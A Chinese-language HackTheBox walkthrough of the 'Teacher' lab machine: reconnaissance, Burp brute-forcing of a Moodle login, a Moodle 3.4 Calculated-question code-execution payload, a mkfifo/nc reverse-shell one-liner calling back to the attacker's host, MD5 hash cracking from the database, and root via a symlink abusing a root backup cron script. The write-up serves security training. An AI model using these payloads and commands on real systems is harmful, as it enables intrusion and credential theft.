【HTB系列】靶機Teacher的滲透測試詳解

  • 2019 年 10 月 7 日
  • 筆記

Kali: 10.10.14.50

靶機地址:10.10.10.153

先用nmap 對靶機進行掃描

nmap -sC -sV -sT 10.10.10.153

只開啟了80埠,網頁內容如下

一個靜態的網頁,還有一些其他的頁面,Courses,Students等等

檢查下網頁的源程式碼,在GALLERY頁面發現一個奇怪的點

第一個img元素多了一個onerror錯誤事件,意思是載入錯誤時在控制台輸出(That『s an F)

然後其他的img圖片都是能正常打開唯獨第一個是無法打開的

那麼可能這個圖片裡面藏著什麼東西,用curl下載來看看

curl http://10.10.10.153/images/5.png -o image.png

下載過來的文件是打不開的,可能它是損壞的或者它就不是一個圖片

我們用file+cat命令查看文件類型以及文件裡面的內容

他的意思是忘記了密碼的最後一位,讓我們弄清楚密碼或者是去重置密碼

我們用gobuster對網頁的目錄進行爆破處理

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50

/phpMyAdmin

/moodle

PhpMyAdmin被攔截無法訪問,然後moodle是正常可以訪問的

Moddle有個登陸頁面

帳戶密碼可能就是剛剛提示所說的

帳戶:Giovanni

然後密碼的最後一位我們需要去猜解

我們用burp的intruder模組進行暴力猜解

載入一下兩個字典(數字+大小寫字母+特殊字元)

/usr/share/SecLists/Fuzzing/alphanum-case.txt

/usr/share/SecLists/Fuzzing/special-chars.txt

根據響應長度的不同,找出了最後一位的密碼位#

正確的帳戶和密碼如下:

Username:Giovanni

Password:Th4C00lTheacha#

我們需要查看下moodle的版本,然後找對應的EXP

可以找到任意網頁下面的(Moodle Docs for this page),查看他跳轉的url根據url參數看出它是什麼版本的

所以這個版本是3.4版本的,然後我們去google查找3.4版本的漏洞

漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/

我們可以利用quiz進行程式碼執行

打開編輯模式

任選一個TOP創建一個活動

點擊quiz

輸入內容,然後點擊(Save and display)

然後我們點擊 edit quiz

並添加一個新問題。問題類型將是Calculated

然後資訊隨便填寫

在answers填入(這個在這其實並不適用)

/*{a*/`$_REQUEST[sdfz]`;//{x}}`;

在實際運用的過程中還是會需要修改下payload的

經過2次的修改最終的payload為

/*{a*/`$_REQUEST[sdfz]`;//{x}}

成功後就來到這個頁面

我們將點擊Next Page訪問頁面:

如果能正常顯示說明payload沒有問題

我們用kali監聽1337

然後在頁面後面添加如下url並訪問

&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f

然後得到shell

嘗試切換到用戶目錄發現不允許

所以我們需要找到用戶的shell

然後我就返回moodle目錄查找有沒有可用線索,發現config.php配置文件

我們通過mysql -u root -p進行登陸,但是發現不能連續性執行sql語句,shell交互性很差

我們通過python來建立起一個shell

python -c 'import pty;pty.spawn("/bin/bash")'

執行下面2句sql:

use moodle;

select username,password from mdl_user;

前3個就是被混淆過可能無法破解,我們看下第4個的長度

echo -n 7a860966115182402ed06375cf0a22af | wc -c

發現是32位,應該是MD5加密

破解下

也可以到這個網站破解:https://crackstation.net/

帳戶:Giovannibak(這個帳戶其實是不對的)

密碼:expelled

然後我們切換過去

發現這個用戶有問題應該是不存在的,後來看到bak可能是備用的用戶,我們查下/etc/passwd

帳戶:giovanni

密碼:expelled

得到user flag

接下來就是獲得root許可權,經過各種查找

在giovanni的work目錄下發現一個,應該是任務計劃數據備份的留下的線索

然後我看了下計劃任務

有的目錄不能訪問,有的就是各種調用,這裡我用一個就是進程過程監控工具,我只要看它到時候調用了什麼腳本生成備份數據

項目地址:https://github.com/DominicBreuker/pspy/releases

直接下這個已經編譯好的二進位

先看下靶機的系統

這裡我就直接下這個

接下來就是常規操作,本地用python的SimpleHTTPServer模組開啟HTTP服務,然後靶機用wget遠程下載pspy,這裡我們把pspy下載到靶機的/dev/shm目錄

然後chmod +x 並執行

這裡很明顯切換了root身份開始了任務計劃,同時我們也看到了/usr/bin/backup.sh這個腳本,我們可以通過它得到root shell,但是發現我們只有執行的許可權並沒有編輯許可權

查看下文件的內容

它壓縮/home/giovanni/work/courses目錄中的所有東西,在切換到tmp目錄把壓縮包解壓到tmp目錄中去。利用這個特性,我們rm -r 刪除原始的courses目錄,並創建root目錄的軟連接即ln -s /root courses

這樣腳本再次進行數據備份的時候會把root目錄下的東西解壓縮到tmp目錄,然後我們直接cat root flag即可

Tags: